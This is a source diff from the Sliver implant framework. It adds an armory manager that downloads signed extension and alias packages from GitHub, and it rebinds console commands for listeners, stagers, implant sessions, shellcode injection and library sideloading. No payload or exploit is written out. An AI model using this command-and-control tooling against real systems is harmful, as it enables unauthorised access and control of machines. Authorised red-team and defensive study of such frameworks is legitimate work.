return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Size int `json:"size"`
|
||||
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
}
|
||||
|
||||
type GithubRelease struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
HTMLURL string `json:"html_url"`
|
||||
TagName string `json:"tag_name"`
|
||||
Body string `json:"body"`
|
||||
Prerelease bool `json:"prerelease"`
|
||||
TarballURL string `json:"tarball_url"`
|
||||
ZipballURL string `json:"zipball_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
PublishedAt string `json:"published_at"`
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(releases) < 1 {
|
||||
return nil, errors.New("no releases found")
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var armoryIndexData []byte
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
sig, err = parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(sig.TrustedComment) < 1 {
|
||||
return nil, errors.New("missing trusted comment")
|
||||
}
|
||||
return &sig, nil
|
||||
}
|
||||
|
||||
func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
}
|
||||
nameExpr, err := regexp.Compile(rawNameExpr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid regular expression: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
matchedAliases = append(matchedAliases, a)
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
|
||||
return
|
||||
}
|
||||
PrintArmoryPackages(matchedAliases, matchedExts, con)
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := alias.ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := extensions.ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
+439
-77
@@ -17,7 +17,7 @@ package command
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
---
|
||||
---------------------------------------------------------------------
|
||||
This file contains all of the code that binds a given string/flags/etc. to a
|
||||
command implementation function.
|
||||
|
||||
@@ -36,11 +36,12 @@ package command
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -53,7 +54,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/jobs"
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
@@ -68,6 +68,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -86,6 +87,7 @@ const (
|
||||
// BindCommands - Bind commands to a App
|
||||
func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// Load Reactions
|
||||
n, err := reaction.LoadReactions()
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("Failed to load reactions: %s\n", err)
|
||||
@@ -93,16 +95,198 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
|
||||
}
|
||||
|
||||
// Attempt to load extensions from ~/.sliver-client/extensions/
|
||||
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err == nil {
|
||||
for _, ext := range exts {
|
||||
extensions.RegisterExtensionCommand(ext, con)
|
||||
// Load Aliases
|
||||
aliasManifests := assets.GetInstalledAliasManifests()
|
||||
n = 0
|
||||
for _, manifest := range aliasManifests {
|
||||
_, err = alias.LoadAlias(manifest, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
continue
|
||||
}
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
if n == 1 {
|
||||
con.PrintInfof("Loaded %d alias from disk\n", n)
|
||||
} else {
|
||||
con.PrintInfof("Loaded %d aliases from disk\n", n)
|
||||
}
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
n = 0
|
||||
for _, manifest := range extensionManifests {
|
||||
ext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(ext, con)
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d extension(s) from disk\n", n)
|
||||
}
|
||||
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
|
||||
|
||||
// [ Aliases ] ---------------------------------------------
|
||||
|
||||
aliasCmd := &grumble.Command{
|
||||
Name: consts.AliasesStr,
|
||||
Help: "List current aliases",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(aliasCmd)
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Load a command alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesLoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the alias directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install a command alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the alias directory or tar.gz file")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove an alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesRemoveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the alias to remove")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return alias.AliasCommandNameCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Armory ] ---------------------------------------------
|
||||
|
||||
armoryCmd := &grumble.Command{
|
||||
Name: consts.ArmoryStr,
|
||||
Help: "Automatically download and install extensions/aliases",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(armoryCmd)
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install an alias or extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the extension or alias to install")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return armory.AliasExtensionOrBundleCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.UpdateStr,
|
||||
Help: "Update installed an aliases and extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryUpdateCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.SearchStr,
|
||||
Help: "Search for aliases and extensions by name (regex)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "a name regular expression")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmorySearchCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Update ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -237,8 +421,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -262,8 +446,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
@@ -286,7 +470,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a stager listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "profile", "", "Implant profile to link with the listener")
|
||||
f.String("p", "profile", "", "implant profile name to link with the listener")
|
||||
f.String("u", "url", "", "URL to which the stager will call back to")
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
@@ -326,10 +510,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Session management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("i", "interact", "", "interact with a sliver")
|
||||
f.String("k", "kill", "", "Kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "Kill all the sessions")
|
||||
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
|
||||
f.String("i", "interact", "", "interact with a session")
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -343,7 +527,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
sessionsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.PruneStr,
|
||||
Help: "Kill all stale sessions",
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
@@ -422,8 +606,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
f.String("p", "named-pipe", "", "namedpipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
|
||||
|
||||
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
|
||||
|
||||
@@ -439,6 +623,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.App.AddCommand(openSessionCmd)
|
||||
|
||||
// [ Close ] --------------------------------------------------------------
|
||||
closeSessionCmd := &grumble.Command{
|
||||
Name: consts.CloseStr,
|
||||
Help: "Close an interactive session without killing the remote process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.CloseSessionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(closeSessionCmd)
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
@@ -503,7 +705,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return use.Completer(con, prefix, args)
|
||||
return use.BeaconAndSessionIDCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
@@ -804,6 +1006,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -817,8 +1020,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the shared library file")
|
||||
